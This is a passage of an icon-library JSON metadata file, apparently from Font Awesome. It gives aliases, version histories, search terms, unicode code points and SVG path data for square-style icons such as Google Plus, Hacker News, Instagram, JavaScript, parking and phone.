416.9C226.9 416.9 229.9 415.1 232.3 414.1L286.4 373.2L354.8 322L355 321.9C369.4 311 379.8 295.8 384.8 278.6C389.7 261.3 388.1 242.9 382.5 226.1L382.1 224.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M48 32H400C426.5 32 448 53.5 448 80V432C448 458.5 426.5 480 400 480H48C21.5 480 0 458.5 0 432V80C0 53.5 21.5 32 48 32zM382.1 224.9L337.5 108.5C336.6 106.2 334.9 104.2 332.9 102.9C331.3 101.9 329.5 101.3 327.7 101.1C325.9 100.9 324 101.2 322.3 101.8C320.6 102.5 319 103.5 317.8 104.9C316.6 106.3 315.7 107.9 315.2 109.7L285 201.9H162.1L132.9 109.7C132.4 107.9 131.4 106.3 130.2 104.9C128.1 103.6 127.4 102.5 125.7 101.9C123.1 101.2 122.1 100.1 120.3 101.1C118.5 101.3 116.7 101.9 115.1 102.9C113.1 104.2 111.5 106.2 110.6 108.5L65.94 224.9L65.47 226.1C59.05 242.9 58.26 261.3 63.22 278.6C68.18 295.9 78.62 311.1 92.97 321.9L93.14 322L93.52 322.3L161.4 373.2L215.6 414.1C217.1 415.1 220.9 416.9 223.9 416.9C226.9 416.9 229.9 415.1 232.3 414.1L286.4 373.2L354.8 322L355 321.9C369.4 311 379.8 295.8 384.8 278.6C389.7 261.3 388.1 242.9 382.5 226.1L382.1 224.9z"
      }
    },
    "free": ["brands"]
  },
  "square-google-plus": {
    "aliases": {
      "names": ["google-plus-square"]
    },
    "changes": ["2.0.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["social network"]
    },
    "styles": ["brands"],
    "unicode": "f0d4",
    "label": "Google Plus Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM164 356c-55.3 0-100-44.7-100-100s44.7-100 100-100c27 0 49.5 9.8 67 26.2l-27.1 26.1c-7.4-7.1-20.3-15.4-39.8-15.4-34.1 0-61.9 28.2-61.9 63.2 0 34.9 27.8 63.2 61.9 63.2 39.6 0 54.4-28.5 56.8-43.1H164v-34.4h94.4c1 5 1.6 10.1 1.6 16.6 0 57.1-38.3 97.6-96 97.6zm220-81.8h-29v29h-29.2v-29h-29V245h29v-29H355v29h29v29.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM164 356c-55.3 0-100-44.7-100-100s44.7-100 100-100c27 0 49.5 9.8 67 26.2l-27.1 26.1c-7.4-7.1-20.3-15.4-39.8-15.4-34.1 0-61.9 28.2-61.9 63.2 0 34.9 27.8 63.2 61.9 63.2 39.6 0 54.4-28.5 56.8-43.1H164v-34.4h94.4c1 5 1.6 10.1 1.6 16.6 0 57.1-38.3 97.6-96 97.6zm220-81.8h-29v29h-29.2v-29h-29V245h29v-29H355v29h29v29.2z"
      }
    },
    "free": ["brands"]
  },
  "square-h": {
    "aliases": {
      "names": ["h-square"],
      "unicodes": {
        "secondary": ["10f0fd"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["directions", "emergency", "hospital", "hotel", "letter", "map"]
    },
    "styles": ["solid"],
    "unicode": "f0fd",
    "label": "Square H",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM336 152V256 360c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H160l0 80c0 13.3-10.7 24-24 24s-24-10.7-24-24l0-208c0-13.3 10.7-24 24-24s24 10.7 24 24v80H288V152c0-13.3 10.7-24 24-24s24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM336 152V256 360c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H160l0 80c0 13.3-10.7 24-24 24s-24-10.7-24-24l0-208c0-13.3 10.7-24 24-24s24 10.7 24 24v80H288V152c0-13.3 10.7-24 24-24s24 10.7 24 24z"
      }
    },
    "free": ["solid"]
  },
  "square-hacker-news": {
    "aliases": {
      "names": ["hacker-news-square"]
    },
    "changes": ["5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3af",
    "label": "Hacker News Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.2 229.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.2 229.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z"
      }
    },
    "free": ["brands"]
  },
  "square-instagram": {
    "aliases": {
      "names": ["instagram-square"]
    },
    "changes": ["5.12.1", "5.14.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e055",
    "label": "Instagram Square",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224,202.66A53.34,53.34,0,1,0,277.36,256,53.38,53.38,0,0,0,224,202.66Zm124.71-41a54,54,0,0,0-30.41-30.41c-21-8.29-71-6.43-94.3-6.43s-73.25-1.93-94.31,6.43a54,54,0,0,0-30.41,30.41c-8.28,21-6.43,71.05-6.43,94.33S91,329.26,99.32,350.33a54,54,0,0,0,30.41,30.41c21,8.29,71,6.43,94.31,6.43s73.24,1.93,94.3-6.43a54,54,0,0,0,30.41-30.41c8.35-21,6.43-71.05,6.43-94.33S357.1,182.74,348.75,161.67ZM224,338a82,82,0,1,1,82-82A81.9,81.9,0,0,1,224,338Zm85.38-148.3a19.14,19.14,0,1,1,19.13-19.14A19.1,19.1,0,0,1,309.42,189.74ZM400,32H48A48,48,0,0,0,0,80V432a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V80A48,48,0,0,0,400,32ZM382.88,322c-1.29,25.63-7.14,48.34-25.85,67s-41.4,24.63-67,25.85c-26.41,1.49-105.59,1.49-132,0-25.63-1.29-48.26-7.15-67-25.85s-24.63-41.42-25.85-67c-1.49-26.42-1.49-105.61,0-132,1.29-25.63,7.07-48.34,25.85-67s41.47-24.56,67-25.78c26.41-1.49,105.59-1.49,132,0,25.63,1.29,48.33,7.15,67,25.85s24.63,41.42,25.85,67.05C384.37,216.44,384.37,295.56,382.88,322Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224,202.66A53.34,53.34,0,1,0,277.36,256,53.38,53.38,0,0,0,224,202.66Zm124.71-41a54,54,0,0,0-30.41-30.41c-21-8.29-71-6.43-94.3-6.43s-73.25-1.93-94.31,6.43a54,54,0,0,0-30.41,30.41c-8.28,21-6.43,71.05-6.43,94.33S91,329.26,99.32,350.33a54,54,0,0,0,30.41,30.41c21,8.29,71,6.43,94.31,6.43s73.24,1.93,94.3-6.43a54,54,0,0,0,30.41-30.41c8.35-21,6.43-71.05,6.43-94.33S357.1,182.74,348.75,161.67ZM224,338a82,82,0,1,1,82-82A81.9,81.9,0,0,1,224,338Zm85.38-148.3a19.14,19.14,0,1,1,19.13-19.14A19.1,19.1,0,0,1,309.42,189.74ZM400,32H48A48,48,0,0,0,0,80V432a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V80A48,48,0,0,0,400,32ZM382.88,322c-1.29,25.63-7.14,48.34-25.85,67s-41.4,24.63-67,25.85c-26.41,1.49-105.59,1.49-132,0-25.63-1.29-48.26-7.15-67-25.85s-24.63-41.42-25.85-67c-1.49-26.42-1.49-105.61,0-132,1.29-25.63,7.07-48.34,25.85-67s41.47-24.56,67-25.78c26.41-1.49,105.59-1.49,132,0,25.63,1.29,48.33,7.15,67,25.85s24.63,41.42,25.85,67.05C384.37,216.44,384.37,295.56,382.88,322Z"
      }
    },
    "free": ["brands"]
  },
  "square-js": {
    "aliases": {
      "names": ["js-square"]
    },
    "changes": ["5.0.0", "5.0.3", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b9",
    "label": "JavaScript (JS) Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM243.8 381.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM243.8 381.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z"
      }
    },
    "free": ["brands"]
  },
  "square-lastfm": {
    "aliases": {
      "names": ["lastfm-square"]
    },
    "changes": ["4.2.0", "5.0.0", "5.0.11", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f203",
    "label": "last.fm Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-92.2 312.9c-63.4 0-85.4-28.6-97.1-64.1-16.3-51-21.5-84.3-63-84.3-22.4 0-45.1 16.1-45.1 61.2 0 35.2 18 57.2 43.3 57.2 28.6 0 47.6-21.3 47.6-21.3l11.7 31.9s-19.8 19.4-61.2 19.4c-51.3 0-79.9-30.1-79.9-85.8 0-57.9 28.6-92 82.5-92 73.5 0 80.8 41.4 100.8 101.9 8.8 26.8 24.2 46.2 61.2 46.2 24.9 0 38.1-5.5 38.1-19.1 0-19.9-21.8-22-49.9-28.6-30.4-7.3-42.5-23.1-42.5-48 0-40 32.3-52.4 65.2-52.4 37.4 0 60.1 13.6 63 46.6l-36.7 4.4c-1.5-15.8-11-22.4-28.6-22.4-16.1 0-26 7.3-26 19.8 0 11 4.8 17.6 20.9 21.3 32.7 7.1 71.8 12 71.8 57.5.1 36.7-30.7 50.6-76.1 50.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-92.2 312.9c-63.4 0-85.4-28.6-97.1-64.1-16.3-51-21.5-84.3-63-84.3-22.4 0-45.1 16.1-45.1 61.2 0 35.2 18 57.2 43.3 57.2 28.6 0 47.6-21.3 47.6-21.3l11.7 31.9s-19.8 19.4-61.2 19.4c-51.3 0-79.9-30.1-79.9-85.8 0-57.9 28.6-92 82.5-92 73.5 0 80.8 41.4 100.8 101.9 8.8 26.8 24.2 46.2 61.2 46.2 24.9 0 38.1-5.5 38.1-19.1 0-19.9-21.8-22-49.9-28.6-30.4-7.3-42.5-23.1-42.5-48 0-40 32.3-52.4 65.2-52.4 37.4 0 60.1 13.6 63 46.6l-36.7 4.4c-1.5-15.8-11-22.4-28.6-22.4-16.1 0-26 7.3-26 19.8 0 11 4.8 17.6 20.9 21.3 32.7 7.1 71.8 12 71.8 57.5.1 36.7-30.7 50.6-76.1 50.6z"
      }
    },
    "free": ["brands"]
  },
  "square-minus": {
    "aliases": {
      "names": ["minus-square"],
      "unicodes": {
        "composite": ["f147"],
        "secondary": ["10f146"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "collapse",
        "delete",
        "hide",
        "minify",
        "negative",
        "remove",
        "shape",
        "trash"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f146",
    "label": "Square Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm88 200H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm88 200H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      },
      "regular": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM152 232H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM152 232H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-nfi": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["non-food item", "supplies"]
    },
    "styles": ["solid"],
    "unicode": "e576",
    "label": "Square Nfi",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm75.7 64.6C68.8 162.5 64 168.8 64 176V336c0 8.8 7.2 16 16 16s16-7.2 16-16V233.8l66.3 110.5c3.7 6.2 11.1 9.1 18 7.2s11.7-8.2 11.7-15.4V176c0-8.8-7.2-16-16-16s-16 7.2-16 16V278.2L93.7 167.8c-3.7-6.2-11.1-9.1-18-7.2zM224 176v64 96c0 8.8 7.2 16 16 16s16-7.2 16-16V256h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H256V192h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H240c-8.8 0-16 7.2-16 16zm160 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V336c0 8.8 7.2 16 16 16s16-7.2 16-16V176z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm75.7 64.6C68.8 162.5 64 168.8 64 176V336c0 8.8 7.2 16 16 16s16-7.2 16-16V233.8l66.3 110.5c3.7 6.2 11.1 9.1 18 7.2s11.7-8.2 11.7-15.4V176c0-8.8-7.2-16-16-16s-16 7.2-16 16V278.2L93.7 167.8c-3.7-6.2-11.1-9.1-18-7.2zM224 176v64 96c0 8.8 7.2 16 16 16s16-7.2 16-16V256h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H256V192h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H240c-8.8 0-16 7.2-16 16zm160 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V336c0 8.8 7.2 16 16 16s16-7.2 16-16V176z"
      }
    },
    "free": ["solid"]
  },
  "square-odnoklassniki": {
    "aliases": {
      "names": ["odnoklassniki-square"]
    },
    "changes": ["4.4.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f264",
    "label": "Odnoklassniki Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M184.2 177.1c0-22.1 17.9-40 39.8-40s39.8 17.9 39.8 40c0 22-17.9 39.8-39.8 39.8s-39.8-17.9-39.8-39.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-305.1 97.1c0 44.6 36.4 80.9 81.1 80.9s81.1-36.2 81.1-80.9c0-44.8-36.4-81.1-81.1-81.1s-81.1 36.2-81.1 81.1zm174.5 90.7c-4.6-9.1-17.3-16.8-34.1-3.6 0 0-22.7 18-59.3 18s-59.3-18-59.3-18c-16.8-13.2-29.5-5.5-34.1 3.6-7.9 16.1 1.1 23.7 21.4 37 17.3 11.1 41.2 15.2 56.6 16.8l-12.9 12.9c-18.2 18-35.5 35.5-47.7 47.7-17.6 17.6 10.7 45.8 28.4 28.6l47.7-47.9c18.2 18.2 35.7 35.7 47.7 47.9 17.6 17.2 46-10.7 28.6-28.6l-47.7-47.7-13-12.9c15.5-1.6 39.1-5.9 56.2-16.8 20.4-13.3 29.3-21 21.5-37z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M184.2 177.1c0-22.1 17.9-40 39.8-40s39.8 17.9 39.8 40c0 22-17.9 39.8-39.8 39.8s-39.8-17.9-39.8-39.8zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-305.1 97.1c0 44.6 36.4 80.9 81.1 80.9s81.1-36.2 81.1-80.9c0-44.8-36.4-81.1-81.1-81.1s-81.1 36.2-81.1 81.1zm174.5 90.7c-4.6-9.1-17.3-16.8-34.1-3.6 0 0-22.7 18-59.3 18s-59.3-18-59.3-18c-16.8-13.2-29.5-5.5-34.1 3.6-7.9 16.1 1.1 23.7 21.4 37 17.3 11.1 41.2 15.2 56.6 16.8l-12.9 12.9c-18.2 18-35.5 35.5-47.7 47.7-17.6 17.6 10.7 45.8 28.4 28.6l47.7-47.9c18.2 18.2 35.7 35.7 47.7 47.9 17.6 17.2 46-10.7 28.6-28.6l-47.7-47.7-13-12.9c15.5-1.6 39.1-5.9 56.2-16.8 20.4-13.3 29.3-21 21.5-37z"
      }
    },
    "free": ["brands"]
  },
  "square-parking": {
    "aliases": {
      "names": ["parking"],
      "unicodes": {
        "composite": ["1f17f"],
        "secondary": ["10f540"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["auto", "car", "garage", "meter", "parking"]
    },
    "styles": ["solid"],
    "unicode": "f540",
    "label": "Square Parking",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM192 256h48c17.7 0 32-14.3 32-32s-14.3-32-32-32H192v64zm48 64H192v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 168c0-22.1 17.9-40 40-40h72c53 0 96 43 96 96s-43 96-96 96z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM192 256h48c17.7 0 32-14.3 32-32s-14.3-32-32-32H192v64zm48 64H192v32c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 168c0-22.1 17.9-40 40-40h72c53 0 96 43 96 96s-43 96-96 96z"
      }
    },
    "free": ["solid"]
  },
  "square-pen": {
    "aliases": {
      "names": ["pen-square", "pencil-square"],
      "unicodes": {
        "secondary": ["10f14b"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "pencil-square", "update", "write"]
    },
    "styles": ["solid"],
    "unicode": "f14b",
    "label": "Square Pen",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM325.8 139.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-21.4 21.4-71-71 21.4-21.4c15.6-15.6 40.9-15.6 56.6 0zM119.9 289L225.1 183.8l71 71L190.9 359.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM325.8 139.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-21.4 21.4-71-71 21.4-21.4c15.6-15.6 40.9-15.6 56.6 0zM119.9 289L225.1 183.8l71 71L190.9 359.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"
      }
    },
    "free": ["solid"]
  },
  "square-person-confined": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["captivity", "confined"]
    },
    "styles": ["solid"],
    "unicode": "e577",
    "label": "Square Person Confined",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767532,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm96 112a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm80 104c0-30.9 25.1-56 56-56s56 25.1 56 56V350.1c0 36.4-29.5 65.9-65.9 65.9c-17.5 0-34.3-6.9-46.6-19.3L184.8 342l-28.1 56.3c-7.9 15.8-27.1 22.2-42.9 14.3s-22.2-27.1-14.3-42.9l48-96c4.6-9.2 13.3-15.6 23.5-17.3s20.5 1.7 27.8 9L240 306.7V248z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm96 112a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zm80 104c0-30.9 25.1-56 56-56s56 25.1 56 56V350.1c0 36.4-29.5 65.9-65.9 65.9c-17.5 0-34.3-6.9-46.6-19.3L184.8 342l-28.1 56.3c-7.9 15.8-27.1 22.2-42.9 14.3s-22.2-27.1-14.3-42.9l48-96c4.6-9.2 13.3-15.6 23.5-17.3s20.5 1.7 27.8 9L240 306.7V248z"
      }
    },
    "free": ["solid"]
  },
  "square-phone": {
    "aliases": {
      "names": ["phone-square"],
      "unicodes": {
        "secondary": ["10f098"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["call", "earphone", "number", "support", "telephone", "voice"]
    },
    "styles": ["solid"],
    "unicode": "f098",
    "label": "Square Phone",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767389,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm90.7 96.7c9.7-2.6 19.9 2.3 23.7 11.6l20 48c3.4 8.2 1 17.6-5.8 23.2L168 231.7c16.6 35.2 45.1 63.7 80.3 80.3l20.2-24.7c5.6-6.8 15-9.2 23.2-5.8l48 20c9.3 3.9 14.2 14 11.6 23.7l-12 44C336.9 378 329 384 320 384C196.3 384 96 283.7 96 160c0-9 6-16.9 14.7-19.3l44-12z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm90.7 96.7c9.7-2.6 19.9 2.3 23.7 11.6l20 48c3.4 8.2 1 17.6-5.8 23.2L168 231.7c16.6 35.2 45.1 63.7 80.3 80.3l20.2-24.7c5.6-6.8 15-9.2 23.2-5.8l48 20c9.3 3.9 14.2 14 11.6 23.7l-12 44C336.9 378 329 384 320 384C196.3 384 96 283.7 96 160c0-9 6-16.9 14.7-19.3l44-12z"
      }
    },
    "free": ["solid"]
  },
  "square-phone-flip": {
    "aliases": {
      "names": ["phone-square-alt"],
      "unicodes": {
        "secondary": ["10f87b"]
      }
    },
    "changes": ["5.9.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["call", "earphone", "number", "support", "telephone", "voice"]
    },
    "styles": ["solid"],
    "unicode": "f87b",
    "label": "Square Phone Flip",
    "voted": false,
    "svg": {
      "solid": {
